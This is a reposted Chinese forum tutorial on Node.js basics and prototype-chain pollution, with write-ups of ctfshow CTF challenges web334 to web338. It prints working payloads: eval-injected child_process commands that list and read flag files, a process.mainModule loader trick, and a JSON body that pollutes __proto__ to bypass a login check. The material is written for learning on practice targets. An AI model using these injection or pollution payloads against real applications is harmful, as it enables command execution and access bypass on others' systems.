|
本帖最后由 Meng0f 于 2022-1-25 22:27 编辑
初探node.js相关之原型链污染
转载于:w0w 衡阳信安 2022-01-24 00:01
前言
最近刷题刷到一个关于原型链污染的,想着之前学长琢磨过这些东西,刚好我最近又闲,就学习一下node.js的原型链污染,顺便了解一下node.js。
node.js基础
- 简单的说 Node.js 就是运行在服务端的 JavaScript。
- Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
- Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
复制代码 这里就只讲解一下后续写题会涉及到的一些node.js的基础:
- node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
复制代码 这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的。
同步和异步- <blockquote><p>Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
- 异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。</p>
复制代码
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
fs模块node.js的文件操作模块,我们本地建立一个sd.txt
 
它的同步函数:readFileSync,异步函数:readFile
- var fs = require("fs");
- // 异步读取
- fs.readFile('sd.txt', function (err, data) {
- if (err) {
- return console.error(err);
- }
- console.log("异步读取: " + data.toString());
- });
- // 同步读取
- var data = fs.readFileSync('sd.txt');
- console.log("同步读取: " + data.toString());
- console.log("程序执行完毕。");
- 输出:
- 同步读取: wdwdwdw
- 文件读取实例
- 程序执行完毕。
- 异步读取: wdwdwdw
- 文件读取实例</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.9.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""></span>
复制代码

child_process模块
- <p>child_process提供了几种创建子进程的方式</p><blockquote><p>异步方式:spawn、exec、execFile、fork
- 同步方式:spawnSync、execSync、execFileSync
- 经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
- 在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
- 同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。</p>
复制代码
其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到。
其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的。
接下来我来讲一下我理解的原型链:
原型链在了解原型链之前,先了解两个关键字。
prototype:
- 在JavaScript中,prototype对象是实现面向对象的一个重要机制。
- 它是<strong>函数所独有的</strong>,它是从<strong>一个函数指向一个对象</strong> 它的含义是<strong>函数的原型对象</strong>,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象
复制代码
这里直接举个例子
- <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22function%20Food(bar%2Cbar1%2Cbar2)%20%7B%5Cn%20%20this.bar%20%3D%201%3B%5Cn%20%20%20%20this.bar1%3D5%3B%5Cn%7D%5Cnlet%20food%20%3D%20new%20Food()%3B%5CnFood.prototype.bar2%3D6%3B%5Cnconsole.log(food.bar1)%3B%5Cnconsole.log(food.bar2)%3B%5Cn%2F%2F5%5Cn%2F%2F6%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">function Food(bar,bar1,bar2) {
- this.bar = 1;
- this.bar1=5;
- }
- let food = new Food();
- Food.prototype.bar2=6;
- console.log(food.bar1);
- console.log(food.bar2);
- //5
- //6</code></pre>
- <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release1.9.8="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" height="15" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15"></span>
复制代码
可以看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建bar2,赋值为6,之后我们用food作为Food的继承类,这个food就拥有bar2的属性。
proto
在实例化后,就不能通过prototype访问其原型对象了,而且prototype是函数特有的,那我们可以通过proto来访问他的原型对象
- 它是<strong>对象所独有的</strong>,<strong>proto</strong>属性都是由<strong>一个对象指向一个对象</strong>,即指向它们的原型对象(也可以理解为父对象)
复制代码
所以经过了解,我们可以得出这么的结论
Food.prototype===food.__proto__
- function Food(bar,bar1,bar2) {
- this.bar = 1;
- this.bar1=5;
- }
- let food = new Food();
- console.log(Food.prototype===food.__proto__);
复制代码
 
然后我们来正式了解什么是原型链原型链
我们先看如下代码代码
- <div><div>function Food() {</div><div> this.bar = 1;</div><div> this.bar1=5;</div><div>}</div><div>function food(){</div><div> this.bar=2;</div><div>}</div><div>food.prototype = new Food();</div><div>let food1 = new food();</div><div>console.log(food1.bar);</div><div>console.log(food1.bar1);</div></div>
复制代码  
food类继承Food的bar1属性
而我们输出实例化food1的bar1的时候,它的查找过程是这样的
1.先查找父对象是否拥有这个属性,如果没有
2.在实例化类的proto中查找,又因为Food.prototype===food.__proto__,所以在Food类里找到bar1
然而它的查找过程如下图所示
 
如果没有找到,就会一直向上一级的.proto进行查找,直到null
这种类似链的结构,被称为原型链
原型链污染
这里我直接用p神的代码进行解释了
- // foo是一个简单的JavaScript对象
- let foo = {bar: 1}
- // foo.bar 此时为1
- console.log(foo.bar)
- // 修改foo的原型(即Object)
- foo.__proto__.bar = 2
- // 由于查找顺序的原因,foo.bar仍然是1
- console.log(foo.bar)
- // 此时再用Object创建一个空的zoo对象
- let zoo = {}
- // 查看zoo.bar
- console.log(zoo.bar)
复制代码
 
可以看到最后的空的zoo也拥有了bar的属性
我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.proto.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染。
实战
知识点中是要与题目串联的,前几题都是node.js的一些别的漏洞,帮助理解node.js相关题型的解法。
ctfshow web334
开启题目,给了两段代码
-
- //login.js
- var express = require('express');
- var router = express.Router();
- var users = require('../modules/user').items;
- var findUser = function(name, password){
- return users.find(function(item){
- return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
- });
- };
- /* GET home page. */
- router.post('/', function(req, res, next) {
- res.type('html');
- var flag='flag_here';
- var sess = req.session;
- var user = findUser(req.body.username, req.body.password);
- if(user){
- req.session.regenerate(function(err) {
- if(err){
- return res.json({ret_code: 2, ret_msg: '登录失败'});
- }
- req.session.loginUser = user.username;
- res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
- });
- }else{
- res.json({ret_code: 1, ret_msg: '账号或密码错误'});
- }
- });
- module.exports = router;
- //user.js
- module.exports = {
- items: [
- {username: 'CTFSHOW', password: '123456'}
- ]
- };
复制代码 粗略的看两眼的代码,可以发现,只要登录,就会有flag,登陆账号密码是{username: 'CTFSHOW', password: '123456'},但是尝试登陆的时候
 
发现不对劲,有猫腻,然后扭头,仔细看了看代码
- var findUser = function(name, password){
- return users.find(function(item){
- return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
- });
- };
复制代码 发现了这个toUpperCase(),而且name!=='CTFSHOW',所以只能ctfshow/Ctfshow不全为大写字母都行。
 
ctfshow web335
开启环境
 
看到eval,猜测是eval命令执行
去百度搜索一下,找一个payload尝试一下
用child_process模块的 exec 执行命令
?eval=require('child_process').exec('ls');
 
回显不对劲,就没思路了,最后看了羽师傅的wp和别的师傅解释
猜测其代码为代码为eval('console.log(xxx)')
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数
第一种方法require('child_process').execSync('ls')
 
require('child_process').execSync('cat fl00g.txt');
 
或者用羽师傅的payload:
- <div>?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()</div><div>?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()</div>
复制代码
方法二
参考Y4师傅的
global.process.mainModule.constructor._load('child_process').exec('calc')
ctfshow web336
依旧是eval
 
被过滤了,使用羽师傅的payload试试
羽师傅的可以
ctfshow web337
- <div>var express = require('express');</div><div>var router = express.Router();</div><div>var crypto = require('crypto');</div><div>
- </div><div>function md5(s) {</div><div> return crypto.createHash('md5')</div><div> .update(s)</div><div> .digest('hex');</div><div>}</div><div>
- </div><div>/* GET home page. */</div><div>router.get('/', function(req, res, next) {</div><div> res.type('html');</div><div> var flag='xxxxxxx';</div><div> var a = req.query.a;</div><div> var b = req.query.b;</div><div> if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){</div><div> res.end(flag);</div><div> }else{</div><div> res.render('index',{ msg: 'tql'});</div><div> }</div><div>
- </div><div>});</div><div>
- </div><div>module.exports = router;</div>
复制代码
给了提示
对某字符进行md5加密,然后get,a和b,需要a不等于b,但是md5加密后相等
这里可以用数组绕过md5的比较
payload
a=1&b=2
ctfshow web338(原型链污染)
终于到原型链污染了
给了源码,跟第一关一样的登录框。
找到login.js
- <div>var express = require('express');</div><div>var router = express.Router();</div><div>var utils = require('../utils/common');</div><div>
- </div><div>
- </div><div>
- </div><div>/* GET home page. */</div><div>router.post('/', require('body-parser').json(),function(req, res, next) {</div><div> res.type('html');</div><div> var flag='flag_here';</div><div> var secert = {};</div><div> var sess = req.session;</div><div> let user = {};</div><div> utils.copy(user,req.body);</div><div> if(secert.ctfshow==='36dboy'){</div><div> res.end(flag);</div><div> }else{</div><div> return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)}); </div><div> }</div><div>
- </div><div>
- </div><div>});</div><div>
- </div><div>module.exports = router;</div>
复制代码
utils.copy(user,req.body);,这里就是突破口,通过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')返回ture即可
payload {"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}
 
总结
初次接触node.js,别的漏洞还有很多,道阻且长,冲冲冲!
参考
https://m0re.top/posts/63e48fc9/
https://blog.csdn.net/miuzzx/art ... 1001.2014.3001.5501
https://blog.csdn.net/solitudi/article/details/111669500
https://www.leavesongs.com/PENET ... tml#0x02-javascript
https://www.runoob.com/nodejs/nodejs-tutorial.html
|
|